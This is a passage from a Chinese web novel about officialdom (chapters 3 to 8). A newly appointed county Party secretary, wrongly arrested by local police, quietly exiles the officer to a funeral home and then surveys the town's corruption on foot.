《从县委书记问鼎权力巅峰》
第3章 按兵不动
一股邪火从脚底猛地烧到天灵盖,轰然炸响,“江昭宁?!那是新来的县委**!”
“你们这帮……你们吃了熊心豹子胆,敢抓县委**?!”
“还……还互殴?!你们惹下塌天大祸了!!”
最后那句“塌天大祸”,他几乎是吼破了音,尖锐的声音在死寂的礼堂里炸开,带着一种毁灭性的冲击波。
台下的领导干部们被这石破天惊的消息彻底震懵了。
电话里清晰地传来倒抽冷气的嘶声。
紧接着,便是杂乱的乒乒乓乓——像是一叠沉重的文件砸落地面摊开,夹杂着椅子腿猛烈刮擦水泥地的尖锐噪音。
话筒那边彻底乱了阵脚。
紧接着,“哐当”一声刺耳的脆响清晰地透过话筒传遍了礼堂——像是搪瓷缸之类的东西重重摔在地上,粉碎了。
副县长兼**局局长李国栋,在台下第一排噌地站了起来,过于猛烈的动作让他后腰狠狠撞在木质椅背上,发出一声闷响。
巨大的恐慌和一种难以言喻的荒谬感吞噬了他,让他瞬间失去了平日的镇定和掌控力。
他脑子里只剩下一个念头在疯狂尖叫:完了!东山的天,要塌了!
而且是塌在自己任上!
被自己治下的巡警亲手捅塌的!
他顾不上疼,上前对刘世廷急切道:“刘县长,我与那些家伙讲!”
刘世廷将那个几乎握不住的手机给了他。
李国栋喉咙发紧,对着话筒那头的混乱用几乎劈叉的嗓音咆哮:“张彪,我是李国栋!你们巡警大队**想集体脱衣服?!”
“赶紧!给我立刻,马上,把江**毫发无损送到县委礼堂!”
吼完,他将把手机塞回给刘世廷,额角的青筋随着他沉重的喘息突突狂跳。
整个礼堂突然陷入诡异的寂静。
关柏也猛地站了起来,身体晃了一下,不得不伸手撑住桌面才稳住。
他突然想起三天前**组织部那间窗明几净的办公室。
任前谈话时。
江昭宁脸上并无寻常履新者惯有的激动或踌躇满志,反而带着一种近乎沉静的审慎。
当关柏按惯例询问是否需要安排车辆随行时。
江昭宁抬起眼,那目光沉稳而直接,落在他脸上:“谢谢关部长好意,我看不必了。”
那张年轻英气的脸上带着一点轻松的、近似自嘲的笑意,补了一句:“自己一步一步走进去,才最接地气。”
这话当时听来只觉得是种姿态,一种温和的个性表达。
此刻,在这令人窒息的等待中,那“自己去”、“接地气”几个字,却像滚烫的铁块烙在关柏心头,滋啦作响。
原来如此!
这哪里是简单的迟到?
这分明是一记无声却足以掀翻整个官场生态的惊雷!
……
县**局那幢旧楼里,早已是天翻地覆。
张彪冲进来。
他一个箭步上去,几乎是抢一般夺过一位巡警手中的钥匙。
“江……江**!”张彪的声音完全变了调,尖锐得刺耳,“误会!”
“我……我给您开锁!
“哐啷!”一声脆响,那副曾紧箍着新**的**终于被粗暴地甩在水泥地上。
脆响让张彪猛地一激灵,脑子里像是绷断了一根弦,他惊恐弯腰去捡,动作狼狈得像个大马猴。
办公室里其他几个巡警,如同被施了石化魔法,僵在原地。
墙面上,“严格执法热情服务”几个褪了色的红字标语,在满地狼藉和一片死寂的映衬下,显得格外刺眼和讽刺。
几个巡警心脏被顶撞到嗓子眼,悬在半空。
……
江昭宁来了!
一个新任县委**以这样狼狈的样儿与全县三百多名副科以上领导干部见面,这恐怕在全国也是独一份。
关柏将江昭宁拉上了主席台。
“同志们!现在,我宣布,东山县新任县委**江昭宁同志任职大会,正式开始!”
……
关柏回到**复命后,县委大院表面恢复了运转,但空气里却弥漫着一种无形的、令人窒息的低气压。
按照惯例,新**上任的第一时间,无论多晚,首要之事必是召开县委**会。
与即将共事的**们见面、通气、凝聚共识。
哪怕只是走个过场,释放一个“开始运转”的信号。
然而,江昭宁的办公室,那扇厚重的红木门,自他进去之后,再也没有对任何人打开。
反常,极度的反常!
越是这种按兵不动,越让人感到一种难以呼吸的恐怖威压。
没有工作部署,没有指示,没有哪怕一个电话从里面打出来。
沉默如同最浓重的墨汁,瞬间浸染了整个县委大楼,并迅速向周边权力节点弥漫、渗透。
所有的目光,无论藏着何种心思,都不约而同地投向那扇紧闭的门。
空气在每一处角落凝滞,猜测在无声的眼神交换里疯狂滋长。
这
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份死寂,远比任何雷霆之怒更令人惴惴不安。
“咚咚咚——”
沉重的敲门声在刘世廷的办公室的门板上响起,带着一种掩饰不住的颓唐和慌乱。
刘世廷背对着门,面向那一片象征着生机与繁荣、此刻却只让他感到无边烦躁的新城区规划沙盘。
他没有回头,只是烦躁地应了一声:“进来。”
门被小心翼翼地推开。
李国栋像一个斗败的公鸡,灰头土脸地挪了进来。
他肩膀微微塌陷,整个人仿佛被无形的重担压矮了一截,脸上挤出的笑容比哭还难看。
“刘县长……”李国栋的声音嘶哑干涩,“我……我们**机关,这回,脸算是丢到姥姥家了!”
“张彪抓谁不好?把新来的县委**给铐了!”
“还……还当斗殴分子!这他妈……”李国栋憋了半天,实在找不出更贴切的词来形容这桩荒谬绝伦的祸事。
“简直是……是天大的丑闻啊!”他想起关柏离开时那张冷得能刮下冰霜的脸,“关部长那边……还有新**……”
刘世廷终于缓缓转过身。
他抬眼看了看李国栋的衰样,嘴角牵扯出一个极其苦涩而冰冷的弧度。
那弧度毫无笑意,只有无边无际的懊恼、憋屈和一种近乎绝望的自嘲。
“丢了你们的丑?”刘世廷的声音不高,“你们只是丢了脸,我呢?”
“我这个一县之长!我丢的是什么?是比脸更重的东西!”
他向前逼近一步,胸膛剧烈起伏,压抑的怒焰在眼底明灭不定。
“不知情的人会怎么看?啊?”
“县委**还没正式履新就被我们东山的警察铐进了局子!就在我的地盘上!”
“光天化日之下,被人粗暴推搡,污蔑斗殴,像抓个小流氓一样铐起来拉走?李国栋!”刘世廷突然抬高了声音,指着窗外,“你让外面的人怎么看?”
“是我刘世廷指使干的?”
“是我这个县长提前给**下马威?是我故意设局搞的幺蛾子,让他还没进门就在全县人民面前丢人现眼?!”
“让他下不了台?”
他每一个问句,都像一把钝刀在反复切割着李国栋紧绷的神经,“还是说,我们东山的治安,已经乱到新**踏进县城土地的第一天就被流氓歹徒袭击、警察不问青红皂白抓人的地步了?”
刘世廷越说越气,胸口剧烈起伏。“你这个**局长当得可真是‘稳’啊!”
第4章 自己倒水!
李国栋被喷得面无人色,额头冷汗涔涔而下:“刘县长,当时情况太混乱……”
“我……这……千真万确是个误会!”
刘世廷喘了口气,脸上露出一种极度荒谬又极度窝火的神情。
“误会?!”他猛地打断李国栋的话,像被这两个字点燃了引信,“说是误会?那误会大了去了!”
“这误会只能说明一件事——我们东山县有多乱?!治安有多差?!”
“是在告诉所有人,我们东山烂透了!烂到根子上了!连县委**都能当街被铐!”
“关部长脸都气白了!你没看到?!”
他想起关柏临别时的目光,心里那阵邪火如同泼了油,腾地熊熊燃烧起来,烧得他五脏六腑都在灼痛。
这个张彪!这个成事不足败事有余的蠢货!
他张彪是猪脑子吗?!啊?!
**与人斗殴?
刘世廷内心翻江倒海,几乎要抑制不住破口大骂的冲动。
这是什么混账逻辑才能捏造出来的荒唐结论?
县委**是什么存在?
在一个县的范围里,那就是除了国防和外交他管不着,其它生杀予夺几乎与一尊神祇无异的至高权威!
他需要跟什么人“互殴”?!
他是下达命令的人,而不是亲自下场抡拳头的人!
明面上谁敢动他一根指头?
动动念头怕是都吓得腿软!
这说法丢出去,听在哪个稍微有点常识的人耳朵里,不是活脱脱一部天方夜谭?
荒谬到连鬼都嗤之以鼻!
要是张彪那个棒槌,能找个**的由头把江昭宁抓了……
刘世廷脑子里突然闪过一个无比荒谬又带着一丝诡异“合理性”的念头。
——那该多“好”啊!
**,虽然同样龌龊不堪,甚至可以说是一种人格上的重大污点,可它恰恰有某种奇特的“现实性”。
一个年轻领导干部,刚刚履新,意气风发,或许一时没把持住……
****被抓!也比‘斗殴’听起来可信一百倍!至少还能有人信!
它发生在这个世界上,不会让人觉得是天方夜谭,它会成为某些人茶余饭后的桃色谈资。
会在特定圈子里获得一种扭曲的、带有暧昧色彩的“合理性”,它的恶劣性质反而可能被某种看客心理淡化。
假如它最后虽然因为澄清了事实,不会让江昭宁从云端跌落。
但至少,人们不会因此对整个东山县的权力运作、治安状况甚至基层政权是否失控产生根本性的、彻骨的质疑!
相比之下,“县委**当街斗殴被抓”,简直就是一场轰塌整座权力殿堂根基的十级地震!
它连带把整个东山县委县政府、公检法系统都拖进了污浊不堪的泥潭!
这是一个彻头彻尾的、无可挽回的黑色幽默。
它将彻底钉死这个县在上级领导心中的恶劣印象——无能、混乱、黑暗透顶!
这样的地方,还谈何发展?谈何稳定?
张彪这个鬼东西!
刘世廷内心如同滚开的油锅,翻滚着极度复杂的情绪:愤怒、后悔、恐惧、怨恨。
还有一丝对那个蠢笨如猪的手下的强烈诅咒。
哪怕你真的能造出个**的现场把他拘了也好。
就算有人事后不信,总会有人怀疑,总会有人借此做文章打击他。
可现在呢?
你弄出个“斗殴”?
真是**混账敲门,混账他妈开门,混账到家了!
刘世廷想了一下,咬咬牙,“我们俩,立即,马上到江昭宁的办公室去!”
“好,好!”李国栋慌乱地应道。
李国栋跟在刘世廷的后边,脚步有些虚浮,额头上沁着一层薄汗,“刘县长,这事……”他嘴唇哆嗦着,话没说完,又咽了回去。
两人来到了江昭宁的办公室。
前任县委**曾经坐镇的那间办公室,厚重的橡木门紧闭着,透着一股沉甸甸的、不可揣测的气息。
门上那个烫金的“**”铭牌,泛着生冷的金属光泽,像一枚警告意味的标签。
李国栋抬起手,指关节悬停在冰冷的门板上,犹豫着,喉结紧张地滚动了一下。
刘世廷深吸一口气。
给他递过去一个催促的眼色。
李国栋才像被无形的针
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扎了一下,指节僵硬地敲了下去,发出两声沉闷的回响。
“进来。”门内传来一个声音,不高,甚至可以说是平淡,隔着厚重的门板,那语调里的东西却让人心头微微一凛。
推门而入,一股混合着上好茶叶和崭新文件纸张的独特气息扑面而来。
这是前任**的办公室,格局未变,那张宽大的红木办公桌依然占据着视觉中心,彰显着权力的核心位置。
然而,桌后的椅子已经换了——不再是前任喜欢的那种厚重皮椅。
而是换成了线条更简洁、支撑感更强的现代款高背椅,透着一股新主人不动声色的掌控力。
江昭宁对于两位正副县长的到来,没有特别的表情。
他似乎在翻看一份什么材料,手里握着一支笔。
在他们进来的一刹那,他抬眼看了过来。
那双眼睛非常平静,看不出任何波澜——没有想象中的暴怒,甚至连一丝情绪的涟漪都没有。
平静得让人无端地发冷。
“坐吧。”江昭宁的声音波澜不惊,抬手指了指靠墙那组厚重的真皮沙发,语气是不咸不淡的,“两位要喝水,自己倒。”
他手中的笔尖并未离开纸页,目光也随之落回了文件上。
刘世廷与李国栋坐到了沙发上。
刘世廷和李国栋僵了一下。
这话听着是客气,实则却像一阵看不见的冰风拂过。
官场沉浮几十年,其中的冷热意味岂有不明之理?
“自己倒水”轻飘飘四个字,就把县里正副两位最高的行政长官怠慢得十分明白。
刘世廷心里咯噔一沉,江昭宁远比表现出来的要冷。
这时,门被轻轻推开一条缝。
县委办公室的秘书林夕悄无声息地侧身进来,手里端着个不锈钢托盘,上面是两杯刚沏好的绿茶。
碧青的茶叶在滚烫的水中浮沉舒展。
林夕的姿态放得极低,几乎是踮着脚尖走路,放下茶杯时没有发出一点多余的声响。
只是目光在接触到江昭宁毫无反应的眼神时。
不由自主地加快了动作,脸上挂着一丝不易察觉的紧张。
第5章 酝酿着什么!
他甚至不敢跟刘世廷和李国栋有任何眼神交流,便迅速退出带上了门,如同他来时一样轻捷,如同一个训练有素的影子退回到阳光照不到的角落。
办公室里重归寂静。
还好,不用自己倒茶了!
秘书的出现,更像是程序化的安排,而非主人的授意。
有了茶,方才那几乎凝滞的冰冷空气,似乎缓和了些微。
温热的茶杯熨贴着因紧张而汗湿的手心,让两人下意识地吸了口气。
刘世廷清了清干涩的喉咙,首先打破了这令人窒息的静默。
“江**,”他开了口,声音带着一种刻意的沉痛,“今天这事……简直荒唐透顶!”
“这个张彪简直胡闹,无法无天,连你也被拘了,虽然是误会,但行为确实不可饶。”
他顿了顿,目光紧紧攫住江昭宁那仍旧停留在文件上的平静侧脸,加重了语气,“决不能姑息,一定要重重处置!杀一儆百!”
江昭宁不动声色,“刘县长,你想怎么办?”
“我想给这小子一个教训,记大过一次,扣除两年的岗位津贴及年终绩效奖金,以示惩罚。”
“**上对他的影响就不说了,光这经济损失得有好几万!”
江昭宁动了动眼睑。
两人紧盯着他。
“这样做?”
“是的。”
李国栋像是被这严厉的声浪推动着,身体绷得更紧了些。
他立刻接口,那语气充满了自责:“江**,我也有责任!”
“我……我作为分管**的副县长,作为他的直接领导,没有管理好队伍,治警不严,才闹出这天大的笑话。”
“给您造成这么大的困扰……我……”
“我给组织抹黑,负有不可推卸的领导责任!”
“请江**给我处分。”
“处分?”江昭宁终于有了动作。
他慢条斯理地放下手中的笔,让它在光滑的红木桌面上悄无声息地滚动了小半寸。
江昭宁嘴角忽然勾起一丝极淡、极浅,甚至带着点戏谑意味的笑容,像是听到了什么有趣的事情。
他微微摇头,目光在李国栋脸上停留了一瞬,声音带着一种奇异的温和,“李县长,言重了。”
“连张虏……哦,不,连张彪我都不想处分,”他仿佛口误般纠正了一个字,却让那个“张虏”的余音像根细刺扎进了听者的耳朵。
“遑论处分你一个堂堂的市管副县长?”
“国栋同志,你就放宽心吧。”
“呼……”李国栋紧绷的肩膀瞬间垮塌下来,长长地、无声地吁出一口气,仿佛卸下了千斤重担。
一股巨大的解脱感瞬间席卷全身,后背的衬衫已被冷汗浸湿。
看来,江**确实没有深究自己领导责任的意思,最大的危机似乎解除了。
可坐在旁边的刘世廷,心不但没放下来,反而瞬间悬得更高了。
这话听着是宽宏大量得如同圣人,可实在太反常了!
完全不符合一个顶级学府毕业、火箭般蹿升、刚刚在全县最高位置上遭受奇耻大辱的年轻掌舵者的心理状态。
他脑中飞快掠过江昭宁那几近眩目的履历:顶流名校光环、杰出青年人才引进、重点培养,一入仕途就被破格聘任为副县长。
他的起点就是别人的终点!
随后八年内副县长、常务副县长、副**、县长一步不落……
这种升迁速度,绝非仅靠运气或背景就能达成,其人的心机、手腕、韧性,必然深不可测。
他会是个被人扇了耳光还笑脸相迎的“怂货”?
会如此轻易地放过冒犯他、尤其是几乎摧毁他所代表权力尊严的对手?
就算不把张彪扒层皮,至少也要一撸到底,以儆效尤。
可江昭宁呢?轻飘飘一句“不想处分”?连李国栋的“请罪”都大度地挥手放过?
别人主动替他出气,他还不领情?
他甚至推开了自己递过去的“严惩”方案?
对于得罪他的人不说睚眦必报,连起码的惩罚手段都没有?
这绝不可能是心胸宽广,更不是懦弱退缩,这背后……这平静的湖面下,分明涌动着一股令人极度不安的漩涡。
刹那间,一股冰冷的寒意,如同西伯利亚的寒流,毫无征兆地自刘世廷的尾椎骨猛地窜起,瞬间冲上他的天灵盖!
他放在膝盖上的手,指尖不受控制地微微发凉。
一种强烈的不祥预感,如同浓重的乌云,沉沉地压在他的心头。<
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br>事情,绝对没有这么简单!
江昭宁此刻的平静,绝非息事宁人,更像是在酝酿着什么!
他到底要干什么?
这表面的宽宏大量之下,究竟隐藏着怎样锋利的刀锋?
刘世廷半信半疑,“那,这恶劣的影响?”
“还有**那边……特别是关部长那儿,我们要是不拿出一个强硬的态度,严肃处理到位……恐怕……过不了关啊?”
“影响?”江昭宁微微侧了一下头,像是在考虑一个无关紧要的技术细节,语气四平八稳,“**这东西嘛,你越理会,它就越来劲。”
“像风,让它自己吹一阵,自然就散了。”
“至于关部长那里……”他顿了顿,“我会亲自去解释,就说……这不过是个街头巷尾的小摩擦罢了。”
“不就是有两个社会上的痞子,仗着有点蛮力,跑去欺负一个在街边摆摊、靠修鞋糊口的残疾老手艺人,要收什么所谓的‘平安费’,也就是‘保护费’。”
他身体微微前倾,声音放缓,叙述得愈发清晰具体:“问题在于还动手要殴打老人,我路过看到了,路见不平嘛,就上前斥责了两句。”
“并一把攥住动手的痞子的手腕。”
江昭宁的语气平淡得仿佛在说别人,“结果呢,另一个痞子就恼羞成怒了。”
“这家伙二话不说,气势汹汹,抄起墙角半块肮脏的板砖,兜头就朝我的脑袋狠拍下来!动作凶狠!”
“我一瞬间懵了,事出突然嘛,一点防备没有。”
“但是我总不能白白站着挨揍,对吧?”
“还手也是出于自卫啊。”
“三个人就这样发生了冲突,我以一击二,嗯,也算是以寡击众吧,我让他们两人来了一个‘哥俩好’,碰了一下头。”
他甚至还象征性地朝自己颧骨旁边轻轻点了一下,“场面是难看了一点,但也仅此而已。”
“我自己没什么大碍,算不得吃亏。”
“最后被定性为互殴,我不就是被带队的张彪当场给铐住了手吗?他给我当场就上了一堂治安处罚课,也算是法制教育吧?”
“也就是要我赔受伤痞子医药费,再加上罚款两千元,说是从宽处理。多大的事啊。”
第6章 管点省心的事
江昭宁摊开双手,做了个非常无奈又略带滑稽的动作,仿佛在说:看,就这么点鸡毛蒜皮的小事,也值得大惊小怪?
“这……”刘世廷和李国栋彻底愣住了。
互殴?戴**,还赔医药费,甚至罚款二千元?两人面面相觑,一时间竟被这云淡风轻、轻描淡写的重构惊得说不出话来,脑子仿佛被塞进了一团乱麻。
这算轻?
就……轻飘飘揭过去了?不追究了?
荒谬感在办公室里弥漫开来,像一个巨大的气泡,既空又软,令人心头发虚。
刘世廷内心的疑云翻腾得更加汹涌。
他盯着江昭宁那张平静的、甚至带着一丝若有若无无奈笑意的脸,那双深邃的眼睛里看不到一丝撒谎的波动。
这份不动声色颠覆现实的冷静和手段,远比暴跳如雷的狮子吼更让刘世廷浑身发冷。
一个能将如此奇耻大辱转瞬间轻描淡写化作一桩街巷琐事的“当事人”,他绝对不信目的会如此单纯。
那平静的表面下,到底酝酿着什么样的风暴?
江昭宁到底要干什么?
“人嘛,”江昭宁的声音打断了沉默,透着一股近乎温和的宽容,他甚至还拿起桌上的茶杯,象征性地沾了沾嘴唇,“一时冲动犯了错,哪个没有呢?”
“我看张彪很年轻吗?”
“是的,是我们局里最年轻的副科实职干部了。”
“嗯!”江昭宁点了一下头,“有一句话叫什么来着?‘年轻人犯错,上帝也会原谅’”
“揪住不放,反倒显得有些得理不饶人了。”
他放下了茶杯。
江昭宁的目光落在刘世廷脸上,“刘县长刚才为了我的面子提出的那记大过、扣两年津贴和年终绩效的处罚方式……”
他微微摇头,动作幅度很小,却带着一种不容置疑的裁决意味,“处理重了。”
江昭宁眼神平和得像是在调解邻里**:“几万块钱的损失,搁谁身上,都不好受,是不是这个理?人非圣贤,孰能无过?”
他恰到好处地停顿了一下,“我看处分就免除了吧?”
“是!是!**您说得太对了!体恤下属!”李国栋几乎是抢着回答,脸上堆满了如释重负的笑容,连连点头。
刘世廷也只能勉强跟着点头,心中那股寒意却越来越盛。
“张彪,他现在,”江昭宁又端起自己桌上的茶杯,轻轻吹了吹浮沫,慢条斯理地问,“对自己的错误,有深刻认识了吗?”
“有!有!绝对有!”李国栋赶紧接话,“张彪同志现在是追悔莫及,痛哭流涕啊!”
“他深刻认识到了自己行为的严重性和给组织、给**您造成的恶劣影响!”
“他准备写一份很深刻的检查,恳请您给他一个改过自新的机会!”
“嗯,”江昭宁微微颔首,啜了一口茶,放下杯子,“痛哭流涕……能认识到错误就好。”
“人嘛,难免冲动。”
“知错能改,善莫大焉。”他语气温和,像一个宽容的长者。
“那这样吧,处分就免除了。”
李国栋暗暗松了一口气,脸上不自觉地露出了轻松的神情。
甚至连刘世廷都认为自己刚才的判断有误。
这场风波,看来真的能就此翻篇了?
张彪的位子,似乎也保住了?
然而,江昭宁接下来的话,却如同平地惊雷,瞬间将两人刚刚放松的神经炸得粉碎!
“不过……”江昭宁的目光在他们二人逐渐舒展的面容上缓缓扫过,话锋如同平滑冰面上的尖刀,毫无征兆地骤然扭转。
他那只搁在桌上的右手食指,微微蜷曲了一下,指尖轻轻磕了一下红木桌面,发出一声极其轻微,又像敲在心上的“笃”。
刘世廷的心脏也随之猛地一跳。
“他的工作还得转换一下。”江昭宁那温和的语调瞬间带上了一丝不易察觉的金属般的冷硬。
他身体微微前倾,双手重新交叉置于桌面,“我看这样吧——”
办公室的空气仿佛瞬间被抽空,连秒针的“咔哒”声都消失了。
刘世廷和李国栋的心跳骤然漏跳一拍,全身的肌肉都绷紧了,眼睛一眨不眨地盯着江昭宁的嘴唇,等待着那即将落下的宣判。
“这**工作嘛,”江昭宁的语气恢复了那种慢条斯理,仿佛在谈论一件无关紧要的小事,“张彪同志可能有些力不从心。”
“管
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活人,太劳心费神了,你看,今天一个‘误会’就把我这个**给‘拘’了,”他嘴角又勾起那抹戏谑的弧度,“那明天呢?”
“万一再‘误会’了其他微服私访的领导,或者发生更严重的情况……那岂不是惹出天大的麻烦?”
“这种可能性,我看不小啊。”
他停顿了一下,目光在脸色瞬间煞白的刘世廷和李国栋之间缓缓移动,似乎在欣赏他们骤变的脸色。
然后,他轻轻地、清晰地说出了那个决定——
“这样吧,为了张彪同志好,也是为了工作大局着想……还是让他管点别的吧。”
“嗯……管点省心的,不容易出错的……”
“……他在有‘活气’的环境里工作,这风险实在难以规避。”
“还是让他去一个安安静静的、一劳永逸地消除这个风险的地方比较好。”
江昭宁似乎在认真思考,指尖在桌面上轻轻敲了两下。
然后,像是终于想到了一个完美的去处。
“我看哪,让他去管……嗯,管那些已经没有气息的人,是最稳妥不过的了。”
“这样,他就永远都不会再出问题,再捅篓子了嘛。”
他抬眼,目光平静地看着两人,仿佛在征求一个理所当然的同意,缓缓地、一字一顿地吐出那个令人毛骨悚然的安排:“至于具体地方,县城东郊的殡仪馆就是个适合的好岗位。”
江昭宁微微颔首,仿佛对自己提出的妥善方案十分满意,“工作性质特殊点,但对我们县来说同样重要嘛!”
“那是一个或迟或早每个人都要去的地方吗!”
“张彪原副科级别待遇不变,只是换个岗位,人尽其才,也是对该同志负责的态度。”
“这也算是组织上对他这些年工作的……一个妥善安置。”
“轰——!”
刘世廷只觉得自己的脑袋像是被一柄无形的巨锤狠狠砸中!
瞬间眼前金星乱冒,所有的思绪被炸得一片空白!
一股冰冷的麻痹感从头顶瞬间蔓延到四肢百骸!
殡仪馆?!原待遇不变?!
这……这哪里是什么“妥善安置”!
这分明是**不见血!
第7章 沉下去!
是比任何处分都更狠毒、更彻底的绝杀!
这是要把张彪钉死在全县最晦气、最边缘、最令人避之不及的冷板凳上!
让他活着,却彻底“社会性死亡”!
让他顶着副科的头衔,在焚尸炉和哀乐声中,眼睁睁看着自己的**生命彻底腐烂发臭!
这一招,太毒了!太辣了!简直是阴狠到了极致!
与此同时,李国栋更是浑身一个剧烈的激灵,仿佛被高压电流击中!
他猛地瞪圆了双眼,嘴巴无意识地张开,却发不出任何声音,脸上的血色褪得干干净净,只剩下死灰般的惨白。
他端着茶杯的手剧烈地颤抖起来,滚烫的茶水泼洒在手背上都浑然不觉,只是瞠目结舌地望着江昭宁,眼神里充满了极致的惊骇和难以置信!
殡仪馆?!他几乎以为自己出现了幻听!
这比直接撤职查办还要令人绝望!
这是什么?这是**生命的彻底凌迟!
是最高级别的公开羞辱!
是在全县干部队伍中竖起一个无声的、恐怖的警示牌!
是从“活人堆里的管理者”一步流放到“死者领域的服务者”,彻底消失在现世权力视野中的绝杀!
江昭宁……他根本就没想过放过张彪!
他之前的“宽容”,只是为了此刻这更精准、更冷酷的致命一击!
办公室内,死一般的寂静。
阳光依旧明亮,却再也无法带来丝毫暖意。
江昭宁平静地坐在宽大的办公桌后,脸上甚至带着一丝解决难题后的轻松,仿佛刚才只是安排了一个普通的工作调动。
而他对面的沙发上,刘世廷和李国栋,一个面如死灰,如坠冰窟,一个魂飞魄散,肝胆俱裂。
权力的绞索,已在他们面前无声地收紧。
那冰冷的触感,让他们从灵魂深处感到战栗。
江昭宁那张年轻英俊的脸上,此刻在他们眼中,只剩下深不见底的城府和令人胆寒的冷酷。
这场风暴,远未结束,而张彪的命运,已被轻飘飘的一句话,推向了比地狱更黑暗的深渊。
“江**,东山这地方,水深王八多,您年轻有为,可也得……悠着点儿。”刘世廷临走前,意味深长道。
“水深王八多……”江昭宁无声地复述着这句话。
刘世廷、李国栋两人走后,江昭宁长长出了一口心中的浑浊之气。
他大步走到紧闭的窗前,用力一推。
“哐当!”一声,他打开了窗户。
六月下午灼热的空气裹挟着喧嚣的市声——远处汽车尖锐的鸣笛、小贩嘶哑的叫卖、不知哪里飘来的廉价音响震耳欲聋的鼓点——一股脑儿地涌了进来。
这股气流带着街巷特有的复杂气味:汽车尾气的辛辣、路边烧烤摊浓烈的油烟、尘土被烈日暴晒后的土腥气。
还有一丝若有若无、仿佛从下水道口飘上来的**甜腻。
这绝不是什么“清新空气”。
它浑浊、粗粝,带着东山县城本身那种躁动不安又颓唐的气息。
自己现在是单枪匹马上任,面对的是一个情况复杂,各种势力盘根错节的环境。
这一点儿,自己早有准备。
但是万没有料到的是,东山的警察竟然是以这样一种方式“欢迎”自己,真是**一家,黑恶势力猖獗到了何等地步?
自己见到的很可能只是冰山一角。
他想起一句老话:当你看见房间里出现一只蟑螂时,那意味着在你看不见的角落里,早已蟑螂成灾,甚至臭虫、老鼠、蛇蝎都已盘踞多时。
一个字烂!
一个县城的核心区域,光天化日之下,地痞流氓就敢横行不法,警察就敢肆无忌惮地给人上**,那下面的乡镇,又会是何等景象?
这样的环境土壤,谈何商贾云集、百业兴旺?
谈何百姓安枕、乐业安居?
经济如何腾飞?
这担子沉重得像要压断脊梁,却又像烧红的烙铁死死地烫在胸口——沉痛,滚烫。
一股冰冷的寒意从脊椎骨升起,瞬间蔓延至四肢百骸。
江昭宁打消了开**会的念头。
在一个自己连基本盘都摸不清、连谁是人是鬼都难以分辨的地方,贸然召开**会?
除了说些冠冕堂皇、不痛不痒的话,做些官样文章,还能做什么?
最终的结果,无非是成为别人精心编排剧本里的
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提线木偶,被牵着鼻子,一步步踏入他们预设好的局里。
不行!
绝不能这样开局!
不能天胡开局,那就天崩开局,逆天改命!
江昭宁果断地抓起那份自己拟的发言草稿。
毫不犹豫地揉成一团。
手腕一扬,纸团划出一道弧线,准确地落进了墙角的废纸篓里。
窗外的喧嚣市声固执地涌入耳中。
他需要沉下去,去看看真正的东山。
趁着初来乍到,认识他这张面孔的人还不多,走出去。
走到那些被烈日炙烤的街巷里,走进市井百态,接触最寻常不过的黎民百姓。
到那些神情麻木或警惕的百姓中间,走到那些汇报材料永远无法触及的角落里去。
他需要呼吸那混杂着油烟和尘土的真实空气。
需要触摸这片土地滚烫而粗糙的肌肤。
需要听到那些被层层过滤后、永远无法抵达他案头的声音。
只有在那里,才可能捕捉到一丝半缕真相的碎片,嗅到那深藏于地下的腐烂气息。
找到撬动这块顽石的第一个支点。
念头一定,江昭宁不再迟疑。
他脱下身上那件略显正式的白衬衫,从行李箱里翻出一件半旧、洗得有些发白的浅蓝色棉质T恤换上。
他瞬间少了几分机关干部的板正,多了些风尘仆仆的寻常气息。
他没有通知任何人。
独自一人悄然离开了县委大院。
午后的阳光白得刺眼,毫无遮挡地倾泻下来,灼烤着水泥路面,蒸腾起一层氤氲扭曲的热浪。
空气粘稠得仿佛凝固的油脂,每一次呼吸都带着灼热感。
江昭宁沿着中心路漫无目的地走着,像一个初到此地的异乡客,目光却锐利地扫过沿途的一切。
东山县城的轮廓在眼前徐徐展开。
它依着一条水流浑浊、河岸堆满垃圾的小河而建。
远处,连绵起伏的山峦在蒸腾的热气中呈现出一种模糊的黛青色。
东山县里的干部汇报时总带着几分自豪地强调:“矿藏丰富,交通便利,省道穿城,区位优越。”
然而,眼前所见却与那溢美之词大相径庭。
第8章 小饭馆
所谓的“省道穿城”,此刻成了一条巨大的露天停车场兼垃圾倾倒场。
双向四车道的宽敞路面上,各种型号、蒙着厚厚灰尘的大小货车歪歪扭扭地停放着,像一堆堆废弃的钢铁垃圾。
司机们光着膀子,聚在路边树荫下或打牌,或就着花生米喝着劣质啤酒,唾沫横飞地大声吆喝。
路面上散落着烟头、果皮、塑料袋、油污,还有可疑的深色污渍,在烈日下散发出复杂难闻的气味。
几辆风尘仆仆的长途客车艰难地在这混乱中鸣笛穿行,喇叭声尖锐而徒劳。
江昭宁的目光掠过那些挂着“矿业公司”“物流运输”“配件批发”招牌的门脸房。
门面大多陈旧脏污,卷闸门上锈迹斑斑,贴着早已褪色模糊的招工或催债广告。
一些门口坐着赤膊的汉子,眼神警惕而空洞地打量着路人。
偶尔有穿着不合身、脏兮兮保安制服的人叼着烟晃过,腰间别着橡胶警棍,目光扫视着街面,带着一种土皇帝般的倨傲。
在一个堆满废旧轮胎的“平安汽修”门口,江昭宁亲眼看见一个穿着制式短袖、但敞着怀、露出肚腩的男人,大摇大摆地走进去。
里面立刻传出老板近乎谄媚的招呼声和递烟的动作,熟练得如同呼吸。
他拐进一条稍窄些的支路。
这里更显破败。
低矮的居民楼外墙剥落严重,露出里面灰暗的砖体。
临街的窗户大多装着锈迹斑斑的防盗网。
几家小饭馆门口,油腻腻的塑料桌椅就摆在污水横流的人行道上。
一个卖水果的老妇人蜷缩在一把破伞的阴影下,面前摆着几串发蔫的香蕉和一堆看起来就酸涩的青桃。
当两个穿着类似城管制服、但歪戴着帽子的人懒洋洋地晃过来时。
老妇人浑浊的眼睛里瞬间掠过一丝难以掩饰的惊惧。
下意识地把身体往阴影里缩了缩,低下头,仿佛想把自己藏起来。
那两个“制服”斜睨了摊子一眼,其中一个随手抓起一个桃子,在衣服上蹭了蹭,咬了一口。
眉头一皱,“呸”地一声吐在地上。
骂了句什么,扬长而去。
老妇人头埋得更低,肩膀微微颤抖,却自始至终没敢发出一丝声音。
这无声的恐惧,比任何控诉都更有力量。
江昭宁的心像是被一只冰冷的手攥紧了。
他默默走过,脚步沉重。
路旁,几个放学的小学生背着硕大的书包,嬉闹着跑过“金帝娱乐会所”。
那会所门口站着几个穿着暴露、浓妆艳抹的年轻女子,正百无聊赖地玩着手机。
巨大的低音炮声浪从门缝里汹涌而出,震得地面都在微微发颤。
孩子们的嬉笑声与那沉闷的鼓点交织在一起,构成一幅荒诞而刺眼的图景。
一路走,一路看,一路听。
